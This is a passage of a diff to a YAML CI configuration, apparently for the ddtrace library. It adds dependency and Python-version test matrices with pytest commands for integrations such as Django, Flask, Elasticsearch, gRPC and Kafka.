-653,6 +1072,121 @@ suites: - memcached - redis snapshot: true + matrix: + dependencies: + - requests + - pytest-randomly + cases: + - python: ['3.9'] + name: django + dependencies: + - django-redis>=4.5,<4.6 + - django-pylibmc>=0.6,<0.7 + - daphne + - redis>=2.10,<2.11 + - psycopg2-binary>=2.8.6 + - pytest-django[testing]==3.10.0 + - pytest-asyncio + - setuptools<80 + - pylibmc + - python-memcached + - spyne + - zeep + - bcrypt==4.2.1 + - channels + - django-q + axes: + django: + django-2-2-0: django~=2.2.0 + django-3-0-0: django~=3.0.0 + django-4-0: django~=4.0 + compatibility: + django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne: {} + command: pytest {cmdargs} --ignore=tests/contrib/django/test_django_snapshots.py --ignore=tests/contrib/django/test_django_wsgi.py tests/contrib/django + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + PYTHONWARNINGS: ignore::UserWarning:ddtrace.internal.module + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + name: django + dependencies: + - django-redis>=4.5,<4.6 + - django-pylibmc>=0.6,<0.7 + - daphne + - redis>=2.10,<2.11 + - psycopg2-binary>=2.8.6 + - pytest-django[testing]==3.10.0 + - pytest-asyncio + - setuptools<80 + - pylibmc + - python-memcached + - spyne + - zeep + - bcrypt==4.2.1 + - django~=4.2 + - psycopg + - channels + - django-q + axes: + compatibility: + django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-2: {} + command: pytest {cmdargs} tests/contrib/django + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + PYTHONWARNINGS: ignore::UserWarning:ddtrace.internal.module + - python: ['3.10', '3.11', '3.12', '3.13'] + name: django + dependencies: + - django-redis>=4.5,<4.6 + - django-pylibmc>=0.6,<0.7 + - daphne + - redis>=2.10,<2.11 + - psycopg2-binary>=2.8.6 + - pytest-django[testing]==3.10.0 + - pytest-asyncio + - setuptools<80 + - pylibmc + - python-memcached + - spyne + - zeep + - bcrypt==4.2.1 + - django~=5.1 + - psycopg + - channels + - django-q2 + axes: + compatibility: + django-redis-gte-4-5-lt-4-6-django-pylibmc-gte-0-6-lt-0-7-daphne-3: {} + command: pytest {cmdargs} --ignore=tests/contrib/django/test_django_dbm.py --ignore=tests/contrib/django/test_django_snapshots.py -k 'not test_user_name_included and not test_user_name_excluded and not test_cached_view' tests/contrib/django + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_REQUEST_SAMPLING: '100' + PYTHONWARNINGS: ignore::UserWarning:ddtrace.internal.module + - python: ['3.9'] + name: django:celery + dependencies: + - celery + - gevent + - typing-extensions + - sqlalchemy~=1.2.18 + - django~=2.2.0 + axes: + compatibility: + celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy-: {} + command: pytest {cmdargs} tests/contrib/django_celery + - python: ['3.12'] + name: django:celery + dependencies: + - celery + - gevent + - typing-extensions + - sqlalchemy + - django + axes: + compatibility: + celery-latest-gevent-latest-typing-extensions-latest-sqlalchemy--2: {} + command: pytest {cmdargs} tests/contrib/django_celery django_hosts: parallelism: 2 paths: @@ -667,6 +1201,30 @@ suites: - tests/contrib/django_hosts/django_app/* pattern: django:django_hosts snapshot: true + matrix: + name: django:django_hosts + command: pytest {cmdargs} tests/contrib/django_hosts + dependencies: + - pytest-django[testing]==3.10.0 + - pytest-randomly + - setuptools + cases: + - python: ['3.9', '3.10'] + dependencies: + - django_hosts~=4.0 + - django~=3.2 + axes: + compatibility: + django-hosts-4-0-django-3-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django~=4.0 + axes: + django-hosts: + django-hosts-5-0: django_hosts~=5.0 + django-hosts-latest: django_hosts + compatibility: + django-hosts-django-4-0: {} django:djangorestframework: parallelism: 2 env: @@ -686,6 +1244,38 @@ suites: - memcached - redis snapshot: true + matrix: + command: pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/djangorestframework + dependencies: + - pytest-django[testing]==3.10.0 + - pytest-randomly + - pytest-xdist + cases: + - python: ['3.9'] + dependencies: + - django>=2.2,<2.3 + axes: + djangorestframework: + djangorestframework-3-12-4: djangorestframework==3.12.4 + djangorestframework-3-13-1: djangorestframework==3.13.1 + compatibility: + django-gte-2-2-lt-2-3-djangorestframework: {} + - python: ['3.9', '3.10'] + dependencies: + - django~=3.2 + - djangorestframework>=3.11,<3.12 + axes: + compatibility: + django-3-2-djangorestframework-gte-3-11-lt-3-12: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - django~=4.0 + axes: + djangorestframework: + djangorestframework-3-13: djangorestframework~=3.13 + djangorestframework-latest: djangorestframework + compatibility: + django-4-0-djangorestframework: {} dogpile_cache: paths: - '@bootstrap' @@ -696,6 +1286,29 @@ suites: - tests/contrib/dogpile_cache/* snapshot: true venvs_per_job: 3 + matrix: + command: pytest {cmdargs} tests/contrib/dogpile_cache + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10'] + axes: + dogpile-cache: + dogpile-cache-0-6-0: dogpile.cache~=0.6.0 + dogpile-cache-0-9: dogpile.cache~=0.9 + dogpile-cache-1-0: dogpile.cache~=1.0 + dogpile-cache-latest: dogpile.cache + compatibility: + dogpile-cache: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + axes: + dogpile-cache: + dogpile-cache-0-9: dogpile.cache~=0.9 + dogpile-cache-1-0: dogpile.cache~=1.0 + dogpile-cache-1-1: dogpile.cache~=1.1 + dogpile-cache-latest: dogpile.cache + compatibility: + dogpile-cache-2: {} dramatiq: env: TEST_REDIS_HOST: redis @@ -712,6 +1325,24 @@ suites: - redis - rabbitmq snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/dramatiq + dependencies: + - redis + cases: + - python: ['3.9'] + dependencies: + - dramatiq~=1.10.0 + - pika + axes: + compatibility: + dramatiq-1-10-0-pika-latest: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - dramatiq + axes: + compatibility: + dramatiq-latest: {} elasticsearch: pattern: ^elasticsearch(?!:opensearch) env: @@ -733,6 +1364,92 @@ suites: services: - elasticsearch snapshot: true + matrix: + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + axes: + elasticsearch: + elasticsearch-7-13-0: elasticsearch~=7.13.0 + elasticsearch-7-17: elasticsearch~=7.17 + elasticsearch-8-0-1: elasticsearch==8.0.1 + elasticsearch-latest: elasticsearch + compatibility: + elasticsearch: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + dependencies: + - elasticsearch1~=1.10.0 + axes: + compatibility: + elasticsearch1-1-10-0: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + dependencies: + - elasticsearch2~=2.5.0 + axes: + compatibility: + elasticsearch2-2-5-0: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + dependencies: + - elasticsearch5~=5.5.0 + axes: + compatibility: + elasticsearch5-5-5-0: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + dependencies: + - elasticsearch6~=6.8.0 + axes: + compatibility: + elasticsearch6-6-8-0: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + axes: + elasticsearch7: + elasticsearch7-7-13-0: elasticsearch7~=7.13.0 + elasticsearch7-latest: elasticsearch7 + compatibility: + elasticsearch7: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch + axes: + elasticsearch8: + elasticsearch8-8-0-1: elasticsearch8~=8.0.1 + elasticsearch8-latest: elasticsearch8 + compatibility: + elasticsearch8: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch:multi + dependencies: + - elasticsearch + - elasticsearch7 + axes: + compatibility: + elasticsearch-latest-elasticsearch7-latest: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_elasticsearch_multi.py + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: elasticsearch:async + dependencies: + - elasticsearch[async] + - elasticsearch7[async] + - opensearch-py[async] + axes: + compatibility: + elasticsearch-async-latest-elasticsearch7-async-latest-opensearc: {} + command: pytest {cmdargs} tests/contrib/elasticsearch/test_async.py + env: + AIOHTTP_NO_EXTENSIONS: '1' opensearch: pattern: elasticsearch:opensearch env: @@ -750,6 +1467,17 @@ suites: services: - opensearch snapshot: true + matrix: + name: elasticsearch:opensearch + command: pytest {cmdargs} tests/contrib/elasticsearch/test_opensearch.py -k 'not ElasticsearchPatchTest' + dependencies: + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + opensearch-py-requests: + opensearch-py-requests-1-1-0: opensearch-py[requests]~=1.1.0 + opensearch-py-requests-2-0-0: opensearch-py[requests]~=2.0.0 + opensearch-py-requests-latest: opensearch-py[requests] falcon: paths: - '@bootstrap' @@ -760,6 +1488,26 @@ suites: - tests/contrib/falcon/* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/falcon + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + falcon: + falcon-3-0-0: falcon~=3.0.0 + falcon-3-0: falcon~=3.0 + falcon-latest: falcon + compatibility: + falcon: {} + - python: ['3.13', '3.14'] + axes: + falcon: + falcon-4-0: falcon~=4.0 + falcon-latest: falcon + compatibility: + falcon-2: {} fastapi: paths: - '@bootstrap' @@ -775,6 +1523,41 @@ suites: - tests/snapshots/tests.{suite}.* snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/fastapi + dependencies: + - httpx<=0.27.2 + - pytest-asyncio==0.21.1 + - python-multipart + - pytest-randomly + - requests + - aiofiles + - cloudpickle + cases: + - python: ['3.9', '3.10'] + axes: + fastapi: + fastapi-0-64-0: fastapi~=0.64.0 + fastapi-0-90-0: fastapi~=0.90.0 + fastapi-latest: fastapi + compatibility: + fastapi: {} + - python: ['3.11', '3.12', '3.13'] + dependencies: + - anyio>=3.4.0,<4.0 + axes: + fastapi: + fastapi-0-86-0: fastapi~=0.86.0 + fastapi-latest: fastapi + compatibility: + fastapi-anyio-gte-3-4-0-lt-4-0: {} + - python: ['3.14'] + dependencies: + - hypothesis + - fastapi + axes: + compatibility: + hypothesis-latest-fastapi-latest: {} flask: env: TEST_MEMCACHED_HOST: memcached @@ -799,6 +1582,107 @@ suites: - memcached - redis snapshot: true + matrix: + cases: + - name: flask + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/flask + dependencies: + - blinker + - requests + - werkzeug~=2.0 + - urllib3~=1.0 + - pytest-randomly + - importlib_metadata + - flask-openapi3 + axes: + flask: + flask-1: + python: ['3.9'] + dependencies: + - flask~=1.0 + - itsdangerous<2.1.0 + - markupsafe<2.0 + - werkzeug<2.0 + flask-1-autopatch: + python: ['3.9'] + dependencies: + - flask~=1.0 + - itsdangerous<2.0 + - markupsafe<2.0 + - werkzeug<2.0 + command: python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/flask_autopatch + env: + DD_SERVICE: test.flask.service + DD_PATCH_MODULES: jinja2:false + flask-2: + dependencies: + - flask~=2.0 + - werkzeug>=3.0 + flask-3: + dependencies: + - flask~=3.0.0 + - werkzeug>=3.0 + runs: &flask-runs + - command: pytest {cmdargs} tests/contrib/flask + - command: python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/flask_autopatch + env: + DD_SERVICE: test.flask.service + DD_PATCH_MODULES: jinja2:false + flask-latest: + dependencies: + - flask + - werkzeug>=3.0 + runs: *flask-runs + - name: flask_cache + python: ['3.9'] + command: pytest {cmdargs} tests/contrib/flask_cache + dependencies: + - python-memcached + - redis~=2.0 + - blinker + - pytest-randomly + - flask~=0.12.0 + - werkzeug<1.0 + - Flask-Cache~=0.13.1 + - pytest~=6.0 + - pytest-mock==2.0.0 + - pytest-cov~=3.0 + - Jinja2~=2.10.0 + - more_itertools<8.11.0 + - itsdangerous<2.0 + - markupsafe<2.0 + - exceptiongroup + dependency_groups: + - flask-cache-legacy + - name: flask_cache + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + command: pytest {cmdargs} tests/contrib/flask_cache + dependencies: + - python-memcached + - redis~=2.0 + - blinker + - pytest-randomly + axes: + flask: + flask-1-1: + dependencies: + - flask~=1.1.0 + - itsdangerous<2.0 + - markupsafe<2.0 + flask-latest: flask + flask-caching: + flask-caching-1-10: flask-caching~=1.10.0 + flask-caching-latest: flask-caching + redis: + redis-2: + group: + python: ['3.9', '3.10', '3.11'] + dependencies: redis~=2.0 + redis-latest: + group: + python: ['3.12', '3.13'] + dependencies: redis gevent: paths: - '@bootstrap' @@ -809,6 +1693,48 @@ suites: - tests/contrib/gevent/* snapshot: false venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/gevent + dependencies: + - elasticsearch + - pynamodb<6.0 + - pytest-randomly + - setuptools<80 + - aiobotocore<=2.3.1 + - aiohttp + - botocore + - requests + - opensearch-py + cases: + - python: ['3.9'] + dependencies: + - greenlet~=1.0 + axes: + gevent: + gevent-21-1-0: gevent~=21.1.0 + gevent-lt-21-8-0: gevent<21.8.0 + compatibility: + gevent-greenlet-1-0: {} + - python: ['3.10'] + axes: + gevent: + gevent-21-12-0: gevent~=21.12.0 + gevent-latest: gevent + compatibility: + gevent: {} + - python: ['3.11'] + axes: + gevent: + gevent-22-10-0: gevent~=22.10.0 + gevent-latest: gevent + compatibility: + gevent-2: {} + - python: ['3.12', '3.13', '3.14'] + dependencies: + - gevent + axes: + compatibility: + gevent-latest: {} google_cloud_pubsub: env: TEST_PUBSUB_HOST: pubsub @@ -825,6 +1751,32 @@ suites: - pubsub snapshot: true venvs_per_job: 3 + matrix: + command: pytest {cmdargs} tests/contrib/google_cloud_pubsub + dependencies: + - falcon + - setuptools<82 + cases: + - python: ['3.9', '3.10', '3.11'] + axes: + google-cloud-pubsub: + google-cloud-pubsub-2-10-0: google-cloud-pubsub==2.10.0 + google-cloud-pubsub-latest: google-cloud-pubsub + compatibility: + google-cloud-pubsub: {} + - python: ['3.12'] + axes: + google-cloud-pubsub: + google-cloud-pubsub-2-14-0: google-cloud-pubsub==2.14.0 + google-cloud-pubsub-latest: google-cloud-pubsub + compatibility: + google-cloud-pubsub-2: {} + - python: ['3.13', '3.14'] + dependencies: + - google-cloud-pubsub + axes: + compatibility: + google-cloud-pubsub-latest: {} graphql:graphene: parallelism: 1 paths: @@ -836,6 +1788,28 @@ suites: - tests/contrib/graphene/* - tests/snapshots/tests.contrib.graphene* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/graphene + dependencies: + - graphql-relay + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - pytest-asyncio==0.21.1 + axes: + graphene: + graphene-3-0-0: graphene~=3.0.0 + graphene-latest: graphene + compatibility: + graphene-pytest-asyncio-0-21-1: {} + - python: ['3.14'] + dependencies: + - graphene + - pytest-asyncio>=1.0 + axes: + compatibility: + graphene-latest-pytest-asyncio-gte-1-0: {} graphql: parallelism: 1 paths: @@ -848,6 +1822,16 @@ suites: - tests/snapshots/tests.contrib.graphql.* pattern: graphql$ snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/graphql + dependencies: + - pytest-asyncio==0.21.1 + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + graphql-core: + graphql-core-3-2-0: graphql-core~=3.2.0 + graphql-core-latest: graphql-core grpc: paths: - '@bootstrap' @@ -860,6 +1844,104 @@ suites: - tests/snapshots/tests.contrib.grpc.* snapshot: true venvs_per_job: 3 + matrix: + dependencies: + - googleapis-common-protos + - pytest-randomly + cases: + - python: ['3.9'] + name: grpc + axes: + grpcio: + grpcio-1-34-0: grpcio~=1.34.0 + grpcio-latest: grpcio + compatibility: + grpcio: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.10'] + name: grpc + axes: + grpcio: + grpcio-1-42-0: grpcio~=1.42.0 + grpcio-latest: grpcio + compatibility: + grpcio-2: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.11'] + name: grpc + axes: + grpcio: + grpcio-1-49-0: grpcio~=1.49.0 + grpcio-latest: grpcio + compatibility: + grpcio-3: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.12'] + name: grpc + dependencies: + - pytest-asyncio==0.23.7 + axes: + grpcio: + grpcio-1-59-0: grpcio~=1.59.0 + grpcio-latest: grpcio + compatibility: + grpcio-pytest-asyncio-0-23-7: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.13'] + name: grpc + dependencies: + - grpcio + axes: + compatibility: + grpcio-latest: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.14'] + name: grpc + dependencies: + - grpcio>=1.75.0 + axes: + compatibility: + grpcio-gte-1-75-0: {} + command: python -m pytest -v {cmdargs} tests/contrib/grpc + - python: ['3.9'] + name: grpc:grpc_aio + dependencies: + - pytest-asyncio==0.23.7 + axes: + grpcio: + grpcio-1-34-0: grpcio~=1.34.0 + grpcio-1-59-0: grpcio~=1.59.0 + compatibility: + grpcio-pytest-asyncio-0-23-7-2: {} + command: python -m pytest {cmdargs} tests/contrib/grpc_aio + env: + _DD_TRACE_GRPC_AIO_ENABLED: 'true' + - python: ['3.10'] + name: grpc:grpc_aio + dependencies: + - pytest-asyncio==0.23.7 + axes: + grpcio: + grpcio-1-42-0: grpcio~=1.42.0 + grpcio-1-59-0: grpcio~=1.59.0 + compatibility: + grpcio-pytest-asyncio-0-23-7-3: {} + command: python -m pytest {cmdargs} tests/contrib/grpc_aio + env: + _DD_TRACE_GRPC_AIO_ENABLED: 'true' + - python: ['3.11'] + name: grpc:grpc_aio + dependencies: + - pytest-asyncio==0.23.7 + axes: + grpcio: + grpcio-1-49-0: grpcio~=1.49.0 + grpcio-1-59-0: grpcio~=1.59.0 + compatibility: + grpcio-pytest-asyncio-0-23-7-4: {} + command: python -m pytest {cmdargs} tests/contrib/grpc_aio + env: + _DD_TRACE_GRPC_AIO_ENABLED: 'true' gunicorn: parallelism: 6 paths: @@ -871,6 +1953,17 @@ suites: - tests/contrib/gunicorn/* - tests/snapshots/tests.contrib.gunicorn.* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/gunicorn + dependencies: + - requests + - gevent + - pytest-randomly + axes: + gunicorn: + gunicorn-20-0: gunicorn==20.0.4 + gunicorn-latest: gunicorn httplib: paths: - '@bootstrap' @@ -883,6 +1976,10 @@ suites: - httpbin snapshot: true venvs_per_job: 1 + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/httplib + dependencies: pytest-randomly httpx: parallelism: 3 paths: @@ -896,6 +1993,27 @@ suites: services: - httpbin snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/httpx + dependencies: + - pytest-asyncio==0.21.1 + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + httpx: &id002 + httpx-0-25-0: httpx~=0.25.0 + httpx-0-27-0: httpx~=0.27.0 + httpx-latest: httpx + compatibility: + variant-1: {} + - python: ['3.13', '3.14'] + dependencies: + - legacy-cgi + axes: + httpx: *id002 + compatibility: + legacy-cgi-latest: {} integration_registry: paths: - '@bootstrap' @@ -906,6 +2024,16 @@ suites: - tests/contrib/integration_registry/* snapshot: false parallelism: 1 + matrix: + command: pytest {cmdargs} tests/contrib/integration_registry + dependencies: + - pip==26.2.1 + - ruamel.yaml==0.18.6 + - pytest-randomly + - pytest-asyncio==0.23.7 + - PyYAML + - jsonschema + python: ['3.13'] jinja2: parallelism: 2 paths: @@ -916,6 +2044,25 @@ suites: - '@jinja2' - tests/contrib/jinja2/* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/jinja2 + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - jinja2~=2.10.0 + - markupsafe<2.0 + axes: + compatibility: + jinja2-2-10-0-markupsafe-lt-2-0: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + jinja2: + jinja2-3-0-0: jinja2~=3.0.0 + jinja2-latest: jinja2 + compatibility: + jinja2: {} kafka: retry: 2 env: @@ -934,6 +2081,28 @@ suites: services: - kafka snapshot: true + matrix: + command: pytest -n auto --dist=worksteal {cmdargs} -vv tests/contrib/kafka + dependencies: + - pytest-randomly + - pytest-xdist + env: + DD_DATA_STREAMS_ENABLED: 'true' + _DD_TRACE_STATS_WRITER_INTERVAL: '1000000000' + cases: + - python: ['3.9', '3.10'] + axes: + confluent-kafka: + confluent-kafka-1-9-2: confluent-kafka~=1.9.2 + confluent-kafka-latest: confluent-kafka + compatibility: + confluent-kafka: {} + - python: ['3.11', '3.12', '3.13'] + dependencies: + - confluent-kafka + axes: + compatibility: + confluent-kafka-latest: {} kombu: parallelism: 1 paths: @@ -947,6 +2116,32 @@ suites: services: - rabbitmq snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/kombu + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + axes: + kombu: + kombu-gte-4-6-lt-4-7: kombu>=4.6,<4.7 + kombu-gte-5-0-lt-5-1: kombu>=5.0,<5.1 + kombu-latest: kombu + compatibility: + kombu: {} + - python: ['3.10', '3.11'] + axes: + kombu: + kombu-gte-5-2-lt-5-3: kombu>=5.2,<5.3 + kombu-latest: kombu + compatibility: + kombu-2: {} + - python: ['3.12', '3.13', '3.14'] + dependencies: + - kombu + axes: + compatibility: + kombu-latest: {} logbook: parallelism: 1 paths: @@ -956,6 +2151,14 @@ suites: - '@logbook' - tests/contrib/logbook/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/logbook + dependencies: pytest-randomly + axes: + logbook: + logbook-1-0: logbook~=1.0.0 + logbook-latest: logbook loguru: parallelism: 1 paths: @@ -965,6 +2168,14 @@ suites: - '@loguru' - tests/contrib/loguru/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/loguru + dependencies: pytest-randomly + axes: + loguru: + loguru-0-4: loguru~=0.4.0 + loguru-latest: loguru mako: parallelism: 1 paths: @@ -975,6 +2186,15 @@ suites: - '@mako' - tests/contrib/mako/* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/mako + dependencies: + - pytest-randomly + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + mako: + mako-1-0-0: mako~=1.0.0 + mako-latest: mako mariadb: paths: - '@bootstrap' @@ -989,6 +2209,26 @@ suites: - mariadb snapshot: true venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/contrib/mariadb + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10'] + axes: + mariadb: + mariadb-1-0-0: mariadb~=1.0.0 + mariadb-1-0: mariadb~=1.0 + mariadb-latest: mariadb + compatibility: + mariadb: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + axes: + mariadb: + mariadb-1-1-2: mariadb~=1.1.2 + mariadb-latest: mariadb + compatibility: + mariadb-2: {} mlflow: venvs_per_job: 2 paths: @@ -1000,6 +2240,24 @@ suites: - tests/contrib/mlflow/* - tests/snapshots/tests.contrib.mlflow.* snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/mlflow/ + dependencies: + - pytest-randomly + - setuptools<82 + cases: + - python: ['3.10', '3.11'] + dependencies: + - mlflow~=2.11.0 + axes: + compatibility: + mlflow-2-11-0: {} + - python: ['3.12', '3.13'] + dependencies: + - mlflow + axes: + compatibility: + mlflow-latest: {} molten: parallelism: 1 paths: @@ -1011,6 +2269,57 @@ suites: - tests/contrib/molten/* - tests/snapshots/tests.{suite}.* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/molten + dependencies: + - cattrs<23.1.1 + - pytest-randomly + - pytest-xdist + axes: + molten: + molten-1-0: molten>=1.0,<1.1 + molten-latest: molten + mysql: + parallelism: 1 + paths: + - '@bootstrap' + - '@core' + - '@tracing' + - '@contrib' + - '@dbapi' + - '@mysql' + - tests/contrib/mysql/* + - tests/contrib/shared_tests.py + services: + - mysql + snapshot: true + matrix: + command: pytest {cmdargs} tests/contrib/mysql + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + axes: + mysql-connector-python: + mysql-connector-python-8-0-28: mysql-connector-python~=8.0.28 + mysql-connector-python-latest: mysql-connector-python + - python: ['3.10'] + axes: + mysql-connector-python: + mysql-connector-python-8-0-28: mysql-connector-python~=8.0.28 + mysql-connector-python-latest: mysql-connector-python + - python: ['3.11'] + axes: + mysql-connector-python: + mysql-connector-python-8-0-31: mysql-connector-python~=8.0.31 + mysql-connector-python-latest: mysql-connector-python + - python: ['3.12', '3.13', '3.14'] + dependencies: + - mysql-connector-python + axes: + compatibility: + mysql-connector-python-latest: {} mysqlpython: paths: - '@bootstrap' @@ -1026,6 +2335,31 @@ suites: skip: true services: - mysql + matrix: + name: mysqldb + command: pytest {cmdargs} tests/contrib/mysqldb + dependencies: + - pytest-randomly + cases: + - python: ['3.9'] + dependencies: + - mysqlclient~=2.0 + axes: + compatibility: + mysqlclient-2-0: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + axes: + mysqlclient: + mysqlclient-2-1: mysqlclient~=2.1 + mysqlclient-latest: mysqlclient + compatibility: + mysqlclient: {} + - python: ['3.13', '3.14'] + dependencies: + - mysqlclient==2.2.6 + axes: + compatibility: + mysqlclient-2-2-6: {} opentelemetry: parallelism: 4 paths: @@ -1036,6 +2370,57 @@ suites: - tests/opentelemetry/* - tests/snapshots/tests.opentelemetry.* snapshot: true + matrix: + command: pytest {cmdargs} tests/opentelemetry + dependencies: + - pytest-randomly + - pytest-asyncio==0.21.1 + - opentelemetry-instrumentation-flask + - flask + - gevent + - requests==2.28.1 + env: + DD_TRACE_OTEL_ENABLED: 'true' + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - markupsafe==2.0.1 + axes: + opentelemetry-api: + opentelemetry-api-1-0-0: opentelemetry-api~=1.0.0 + opentelemetry-api-1-15-0: opentelemetry-api~=1.15.0 + opentelemetry-api-1-26-0: opentelemetry-api~=1.26.0 + opentelemetry-api-latest: opentelemetry-api + compatibility: + markupsafe-2-0-1-opentelemetry-api: {} + - python: ['3.14'] + dependencies: + - markupsafe + - opentelemetry-api + axes: + compatibility: + markupsafe-latest-opentelemetry-api-latest: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - markupsafe==2.0.1 + axes: + opentelemetry-exporter-otlp: + opentelemetry-exporter-otlp-1-15-0: opentelemetry-exporter-otlp~=1.15.0 + opentelemetry-exporter-otlp-1-34-0: opentelemetry-exporter-otlp~=1.34.0 + opentelemetry-exporter-otlp-latest: opentelemetry-exporter-otlp + compatibility: + markupsafe-2-0-1-opentelemetry-exporter-otlp: {} + env: + SDK_EXPORTER_INSTALLED: '1' + - python: ['3.14'] + dependencies: + - markupsafe + - opentelemetry-exporter-otlp + axes: + compatibility: + markupsafe-latest-opentelemetry-exporter-otlp-latest: {} + env: + SDK_EXPORTER_INSTALLED: '1' protobuf: retry: 2 parallelism: 1 @@ -1047,6 +2432,12 @@ suites: - '@protobuf' - tests/contrib/protobuf/* snapshot: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/contrib/protobuf + dependencies: + - protobuf + - pytest-randomly psycopg: paths: - '@bootstrap' @@ -1064,6 +2455,55 @@ suites: - postgres snapshot: true venvs_per_job: 2 + matrix: + dependencies: + - pytest-randomly + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + name: psycopg:psycopg2 + axes: + psycopg2-binary: + psycopg2-binary-2-9-2: psycopg2-binary~=2.9.2 + psycopg2-binary-latest: psycopg2-binary + compatibility: + psycopg2-binary: {} + command: pytest {cmdargs} tests/contrib/psycopg2 + - python: ['3.9'] + name: psycopg + dependencies: + - psycopg~=3.0.0 + - pytest-asyncio==0.21.1 + axes: + compatibility: + psycopg-3-0-0-pytest-asyncio-0-21-1: {} + command: pytest {cmdargs} tests/contrib/psycopg + - python: ['3.9', '3.10', '3.11'] + name: psycopg + dependencies: + - psycopg + - pytest-asyncio==0.21.1 + axes: + compatibility: + psycopg-latest-pytest-asyncio-0-21-1: {} + command: pytest {cmdargs} tests/contrib/psycopg + - python: ['3.12'] + name: psycopg + dependencies: + - psycopg + - pytest-asyncio==0.23.7 + axes: + compatibility: + psycopg-latest-pytest-asyncio-0-23-7: {} + command: pytest {cmdargs} 